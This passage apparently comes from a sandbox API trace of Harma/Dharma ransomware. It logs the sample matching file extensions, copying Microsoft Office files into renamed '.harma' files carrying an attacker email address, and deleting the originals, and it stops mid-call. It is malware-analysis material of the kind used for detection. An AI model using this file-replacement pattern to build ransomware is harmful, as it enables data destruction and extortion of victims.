[0170.130] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.130] lstrlenW (lpString=".zip") returned 4 [0170.130] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.130] lstrlenW (lpString=".rar") returned 4 [0170.130] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.130] lstrlenW (lpString=".bz2") returned 4 [0170.130] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.130] lstrlenW (lpString=".7z") returned 3 [0170.130] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.130] lstrlenW (lpString=".dbf") returned 4 [0170.130] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.130] lstrlenW (lpString=".1cd") returned 4 [0170.130] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.130] lstrlenW (lpString=".jpg") returned 4 [0170.130] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.131] lstrlenW (lpString=".doc") returned 4 [0170.131] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString=".docx") returned 5 [0170.131] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1 [0170.131] lstrlenW (lpString=".pdf") returned 4 [0170.131] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString=".xls") returned 4 [0170.131] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0170.131] lstrlenW (lpString=".xlsx") returned 5 [0170.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1 [0170.131] lstrlenW (lpString=".ppt") returned 4 [0170.131] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.131] lstrlenW (lpString=".zip") returned 4 [0170.131] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0170.131] lstrlenW (lpString=".rar") returned 4 [0170.131] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString=".bz2") returned 4 [0170.131] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0170.131] lstrlenW (lpString=".7z") returned 3 [0170.131] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0170.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.132] lstrlenW (lpString=".dbf") returned 4 [0170.132] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.132] lstrlenW (lpString=".1cd") returned 4 [0170.132] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0170.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57 [0170.132] lstrlenW (lpString=".jpg") returned 4 [0170.132] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0170.132] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.132] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0170.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.156] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=71584) returned 1 [0170.156] CloseHandle (hObject=0x3a4) returned 1 [0170.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20 [0170.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.282] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.283] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.284] GetLastError () returned 0x0 [0170.284] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x117a0, lpOverlapped=0x0) returned 1 [0170.425] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x117b0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x117b0, lpOverlapped=0x0) returned 1 [0170.427] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.427] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0170.428] SetEndOfFile (hFile=0x370) returned 1 [0170.428] CloseHandle (hObject=0x370) returned 1 [0170.428] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.428] SetEndOfFile (hFile=0x34c) returned 1 [0170.432] CloseHandle (hObject=0x34c) returned 1 [0170.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 1 [0170.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.434] lstrlenW (lpString=".doc") returned 4 [0170.434] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.434] lstrlenW (lpString=".docx") returned 5 [0170.434] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0170.434] lstrlenW (lpString=".pdf") returned 4 [0170.434] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.434] lstrlenW (lpString=".xls") returned 4 [0170.434] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.434] lstrlenW (lpString=".xlsx") returned 5 [0170.434] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0170.434] lstrlenW (lpString=".ppt") returned 4 [0170.435] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.435] lstrlenW (lpString=".zip") returned 4 [0170.435] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.435] lstrlenW (lpString=".rar") returned 4 [0170.435] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.435] lstrlenW (lpString=".bz2") returned 4 [0170.435] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.435] lstrlenW (lpString=".7z") returned 3 [0170.435] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.435] lstrlenW (lpString=".dbf") returned 4 [0170.435] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.435] lstrlenW (lpString=".1cd") returned 4 [0170.435] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.435] lstrlenW (lpString=".jpg") returned 4 [0170.435] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.436] lstrlenW (lpString=".doc") returned 4 [0170.436] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.436] lstrlenW (lpString=".docx") returned 5 [0170.436] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0170.436] lstrlenW (lpString=".pdf") returned 4 [0170.436] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.436] lstrlenW (lpString=".xls") returned 4 [0170.436] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.436] lstrlenW (lpString=".xlsx") returned 5 [0170.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0170.436] lstrlenW (lpString=".ppt") returned 4 [0170.436] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.436] lstrlenW (lpString=".zip") returned 4 [0170.436] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.436] lstrlenW (lpString=".rar") returned 4 [0170.436] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.436] lstrlenW (lpString=".bz2") returned 4 [0170.436] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.436] lstrlenW (lpString=".7z") returned 3 [0170.436] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.436] lstrlenW (lpString=".dbf") returned 4 [0170.436] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.436] lstrlenW (lpString=".1cd") returned 4 [0170.437] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0170.437] lstrlenW (lpString=".jpg") returned 4 [0170.437] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.437] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0170.437] lstrlenW (lpString="OLTASK.FAE") returned 10 [0170.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.438] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=115608) returned 1 [0170.438] CloseHandle (hObject=0x34c) returned 1 [0170.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20 [0170.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.439] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.439] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.440] GetLastError () returned 0x0 [0170.440] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1c398, lpOverlapped=0x0) returned 1 [0170.650] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1c3a0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1c3a0, lpOverlapped=0x0) returned 1 [0170.654] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.654] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0170.654] SetEndOfFile (hFile=0x370) returned 1 [0170.683] CloseHandle (hObject=0x370) returned 1 [0170.684] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.684] SetEndOfFile (hFile=0x34c) returned 1 [0170.749] CloseHandle (hObject=0x34c) returned 1 [0170.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 1 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.751] lstrlenW (lpString=".doc") returned 4 [0170.751] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.751] lstrlenW (lpString=".docx") returned 5 [0170.751] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0170.751] lstrlenW (lpString=".pdf") returned 4 [0170.751] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.751] lstrlenW (lpString=".xls") returned 4 [0170.751] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.751] lstrlenW (lpString=".xlsx") returned 5 [0170.751] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0170.751] lstrlenW (lpString=".ppt") returned 4 [0170.751] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.751] lstrlenW (lpString=".zip") returned 4 [0170.752] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.752] lstrlenW (lpString=".rar") returned 4 [0170.752] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.752] lstrlenW (lpString=".bz2") returned 4 [0170.752] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.752] lstrlenW (lpString=".7z") returned 3 [0170.752] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.752] lstrlenW (lpString=".dbf") returned 4 [0170.752] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.752] lstrlenW (lpString=".1cd") returned 4 [0170.752] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.752] lstrlenW (lpString=".jpg") returned 4 [0170.753] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.753] lstrlenW (lpString=".doc") returned 4 [0170.753] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0170.753] lstrlenW (lpString=".docx") returned 5 [0170.753] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0170.753] lstrlenW (lpString=".pdf") returned 4 [0170.753] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0170.753] lstrlenW (lpString=".xls") returned 4 [0170.753] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0170.753] lstrlenW (lpString=".xlsx") returned 5 [0170.753] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0170.754] lstrlenW (lpString=".ppt") returned 4 [0170.754] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.754] lstrlenW (lpString=".zip") returned 4 [0170.754] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0170.754] lstrlenW (lpString=".rar") returned 4 [0170.754] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0170.754] lstrlenW (lpString=".bz2") returned 4 [0170.754] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0170.754] lstrlenW (lpString=".7z") returned 3 [0170.754] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.754] lstrlenW (lpString=".dbf") returned 4 [0170.754] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.754] lstrlenW (lpString=".1cd") returned 4 [0170.755] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0170.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0170.755] lstrlenW (lpString=".jpg") returned 4 [0170.755] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0170.755] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.755] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0170.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.756] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=594288) returned 1 [0170.756] CloseHandle (hObject=0x34c) returned 1 [0170.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll")) returned 0x20 [0170.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.757] lstrlenW (lpString=".doc") returned 4 [0170.757] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.757] lstrlenW (lpString=".docx") returned 5 [0170.757] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0170.757] lstrlenW (lpString=".pdf") returned 4 [0170.757] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.757] lstrlenW (lpString=".xls") returned 4 [0170.757] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.757] lstrlenW (lpString=".xlsx") returned 5 [0170.757] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0170.757] lstrlenW (lpString=".ppt") returned 4 [0170.757] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.757] lstrlenW (lpString=".zip") returned 4 [0170.757] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.757] lstrlenW (lpString=".rar") returned 4 [0170.757] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.758] lstrlenW (lpString=".bz2") returned 4 [0170.758] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.758] lstrlenW (lpString=".7z") returned 3 [0170.758] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.758] lstrlenW (lpString=".dbf") returned 4 [0170.758] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.758] lstrlenW (lpString=".1cd") returned 4 [0170.758] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.758] lstrlenW (lpString=".jpg") returned 4 [0170.758] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.758] lstrlenW (lpString=".doc") returned 4 [0170.758] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.758] lstrlenW (lpString=".docx") returned 5 [0170.758] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0170.758] lstrlenW (lpString=".pdf") returned 4 [0170.758] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.759] lstrlenW (lpString=".xls") returned 4 [0170.759] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.759] lstrlenW (lpString=".xlsx") returned 5 [0170.759] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0170.759] lstrlenW (lpString=".ppt") returned 4 [0170.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.759] lstrlenW (lpString=".zip") returned 4 [0170.759] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.759] lstrlenW (lpString=".rar") returned 4 [0170.759] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.759] lstrlenW (lpString=".bz2") returned 4 [0170.759] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.759] lstrlenW (lpString=".7z") returned 3 [0170.759] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.759] lstrlenW (lpString=".dbf") returned 4 [0170.759] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.759] lstrlenW (lpString=".1cd") returned 4 [0170.759] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0170.759] lstrlenW (lpString=".jpg") returned 4 [0170.759] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.760] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0170.760] lstrlenW (lpString="DBENGR.DLL") returned 10 [0170.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBENGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbengr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0170.761] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff1c | out: 